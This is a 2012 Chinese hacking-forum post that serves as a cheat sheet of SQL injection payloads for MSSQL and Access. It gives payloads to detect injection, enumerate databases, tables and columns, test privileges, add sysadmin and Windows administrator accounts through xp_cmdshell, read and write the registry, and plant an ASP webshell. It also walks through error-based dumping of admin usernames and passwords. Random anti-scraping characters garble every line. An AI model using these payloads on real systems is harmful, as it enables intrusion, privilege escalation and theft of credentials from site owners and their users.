找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1928|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 6 M! T1 N  z3 ~7 S2 V# v
;and 1=1 9 a9 v% \) N: U8 _1 d
;and 1=2 9 ^" B! h3 c. \7 L( J6 w! f

7 T  ]1 L2 d+ ^+ Q% P6 V2.初步判断是否是mssql
% R4 i; O1 P8 S. B8 r;and user>0 # D9 |% X5 I! x) b7 o

- o7 O. b, ?1 Z) ?. y6 t& I3.判断数据库系统 7 B) a+ l- h; g+ U+ @
;and (select count(*) from sysobjects)>0 mssql + |3 i: S' [' w' {  j( T
;and (select count(*) from msysobjects)>0 access 1 k: M- v$ @3 l2 V- ^

7 k5 Y% q* o5 V7 }" l+ f4.注入参数是字符
; A* y# {" I" S'and [查询条件] and ''='
4 R" c2 L' {. D; j1 d
( a' c" l# y! J) v" R+ k5.搜索时没过滤参数的 7 ]1 x1 n3 b4 k  y" M
'and [查询条件] and '%25'=' 2 G% d. [1 ~( g1 k5 b
2 w  c; q9 o5 v
6.猜数表名
% R' @9 S# U# I: k1 Q; Q& A" E5 v: A;and (select Count(*) from [表名])>0
  b' t+ a! G0 x3 |+ ^% V- y$ C2 g8 K
7.猜字段 3 H+ k1 R  S& }! ^
;and (select Count(字段名) from 表名)>0 : P9 k8 A- r# A. p% q# u0 n

7 ?2 Y& U" ?! Y; ~( F: _8.猜字段中记录长度
; N' Y  X6 X( O0 n' ^;and (select top 1 len(字段名) from 表名)>0 : c1 |) b$ f" W$ v8 p& S3 B) c) c; d

( B/ @+ t; u8 @8 \) Z9.(1)猜字段的ascii值(access) * A2 v/ D2 Y; d) {7 H
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 0 ]6 }( q0 P  E' _
; G. F' D& L* G7 B: |
(2)猜字段的ascii值(mssql) 7 W% H: Z) P  V" ]$ [: a
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
; o$ R) o" L% Z& |3 k8 y
4 N8 k: D. Q/ k; w( [10.测试权限结构(mssql)
5 v" a1 p, {9 m+ L) N( j2 J" e3 V;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& W2 u6 @( `% R" Z, x* r8 W3 a2 @! l/ Z;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 ^) Y% |! M6 D;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- . n7 d* S$ X$ G& T: a8 g
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
0 h; o4 S6 W, n1 B, R;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3 Q. w6 f2 u/ J4 w, T' t" a
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4 w, w& t/ o! k8 |
;and 1=(select IS_MEMBER('db_owner'));--
' w. i7 s+ Y4 u5 C- U
5 @2 b/ i  h: J5 K. O: w11.添加mssql和系统的帐户 9 W! g" x* t' Y" b0 i; y; O
;exec master.dbo.sp_addlogin username;-- 3 S, ^  ]' {; W% |# Z2 _& F( g2 w
;exec master.dbo.sp_password null,username,password;-- 1 ]" x6 J! ^) J( T8 }
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 n( k7 m. `1 Z7 w0 a
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
( v- ^1 w5 {/ a3 S;exec master.dbo.xp_cmdshell 'net user username password /add';--   ?* N3 F1 \2 G$ ?8 ?
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ k2 r5 b8 ?& d+ F4 M
# N3 W) Z, Q# R8 ~; B12.(1)遍历目录
5 K, R+ |  V2 Q;create table dirs(paths varchar(100), id int)
4 _4 U+ g+ Z# F8 Y" T5 e0 |;insert dirs exec master.dbo.xp_dirtree 'c:\'
3 P+ b4 R, ?9 ~" N5 ]3 G2 H: ]  n/ h;and (select top 1 paths from dirs)>0
. [: @4 Y4 k/ E8 Z;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ Z1 v: x% S9 f% g! r- N0 L9 ?. A9 F. Z! Q
(2)遍历目录 ; H2 i5 o4 [3 z- ?# B
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3 l$ s) T8 q" I  g0 o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; N8 ?) \% ]* ^/ O- I! z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1 T. q/ C, V% r5 N, Z, b0 r% E3 ~# ~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
! t' z+ ~! `: s! h;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ( ]4 M9 r. I9 T% _, p- q

: B. Y, c! j; O$ @+ h1 P13.mssql中的存储过程 ' |, {/ f% D6 c; R: V
xp_regenumvalues 注册表根键, 子键 ( Y. D, c& h- B1 m! t. X
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 \, H: m5 B# V8 W5 yxp_regread 根键,子键,键值名
/ D, B/ B# I0 r% z* n- ^- };exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8 e* l; r% X2 q. `
xp_regwrite 根键,子键, 值名, 值类型, 值 # N! J3 g: H" |7 D9 f5 c
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 / d) T( J3 e) `7 E
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 7 |) r1 \' ?* l; d) }0 X
xp_regdeletevalue 根键,子键,值名 & L1 @) G' _1 f( N
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
4 b7 Z" o5 U9 x3 ?xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
# H8 y& j* [. l9 M  r! S7 ~; H" G9 a: f$ Z! s- L* n
14.mssql的backup创建webshell ! u& o! c5 s, G* _. j
use model ( V+ Y1 e7 Z. X
create table cmd(str image);
* J4 I# R% q- t# G6 j- Kinsert into cmd(str) values ('<% Dim oScript %>');   u; K: R* N: x4 Y9 Q7 Z
backup database model to disk='c:\l.asp'; 0 _. {, Y' l- W
; E% z2 [/ N$ v8 k: @4 @
15.mssql内置函数 ! v' @( g* \$ z: J
;and (select @@version)>0 获得Windows的版本号
. l% U5 l- l1 V7 d% F;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& Y9 l) A8 ?& L: l;and (select user_name())>0 爆当前系统的连接用户   X" s# p: j! a* N3 o
;and (select db_name())>0 得到当前连接的数据库 + q+ J1 J6 ~+ H  Y9 T4 O+ c

- {6 ^7 d! g. U; F+ d  q- F+ H# v" i
0 b+ @0 L3 P. f3 Q' d3 Z9 z8 N% |( Z$ Z7 L3 t2 G
MSSQL手注暴库
' K- i) O3 W& P, z
8 o4 {- S3 t8 N/ @4 H1.暴出当前表名和列名' h/ }) C# I. L9 I8 [
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。) n0 p- a$ `# D( {& b9 W0 {$ G+ E
8 t8 ~- N, b9 s4 L+ C3 {
第一.爆出所有数据库名
9 i% J, K( ~% M1 y: {利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。# s7 [2 G: F: y* {# O% S
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
1 Y8 O3 `5 S3 o- W, d% T
: V8 I7 J' L2 P' z( H2 Pand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名2 {) f6 A, T# w! p, d0 r* ]
- o; p5 O+ ?3 D1 s4 W  R

4 o+ c7 m5 O0 K# _9 F0 H2 M第二.爆出指定库中的所有表名
- E8 Q: ^2 H" r  J, h得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
. h$ ^' R4 h; Z/ ]  l5 ]再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
7 F8 S0 d# ~2 i+ t- V
0 X# \& N) }* J: W% O4 Y  Z  `and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--7 ^8 ?1 W# I( e7 Z9 D# A" h
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
) d* W4 E" _' u& M4 P% L: Pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
3 G- d# l. ~# G- B4 ]8 ~/ w0 o5 i% X3 _+ h+ J6 J
4.爆出指定表中的所有列名/ P/ L8 |% H' h$ z
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 V. d% \) ?1 {9 @//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
3 T5 d' c3 l7 P( V1 L' J. x- p" N: K5 F% F8 _
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名' E. E  I/ P/ i) _+ n* @. X0 c! q
- w/ x7 u5 x) y8 d6 U6 K
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
1 F0 [6 |% b* j% e/ E  M$ G. r1 |依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
8 q/ e6 ?% p" N6 v4 c: C2 P
. j# d  H- y& I8 [' I2 l4 R: o* L# g. V* `" K0 f6 b$ |
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值, j6 B; f; Q# y# ~( J
2 ^  @9 g) y( n9 F2 t3 D4 [0 g, j9 W
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名; U% r8 l0 w! J4 g6 B

0 C5 l6 `5 Z" ~  z3 |1 ^3 Kand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
- t' @8 h; y( k* Y8 H2 D, {- `* @' W1 M0 b* M

, [/ g6 r( C" S4 z- i6 I9 Q
7 Y' T5 h' ]% s0 g# l' H6 b: J5.读取指定表中的数据
9 I$ C/ b' l5 T& t( O7 c: x9 s. {8 E  C* L( v4 I
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
( Q& l2 W# k5 u* i6 P: X* x0 l  H
4 g) }( r9 [1 a+ |: r: r2 Aand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--- d1 a& R5 u, N! g# I" `( t

, v9 _8 f: f  F+ v9 Fand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; Z& F6 T5 N' U& @2 @; r

( U' U2 e( v3 u; ?8 k8 G5 T$ Z2 o& R3 Z! `# Q4 n! S( }
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
/ T. {6 T5 K. K* L- ?  _6 ~7 g+ ^$ S) W  x2 v. S0 u
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang). Y3 L! q& Y7 ?  q  X% ?- b, t
2 E0 n; w- C6 {2 Z4 U+ j. N
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--2 a0 B6 X1 L& S
9 B; C' O% }' ?; U$ U
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。( {+ ]. u! U* [4 G6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表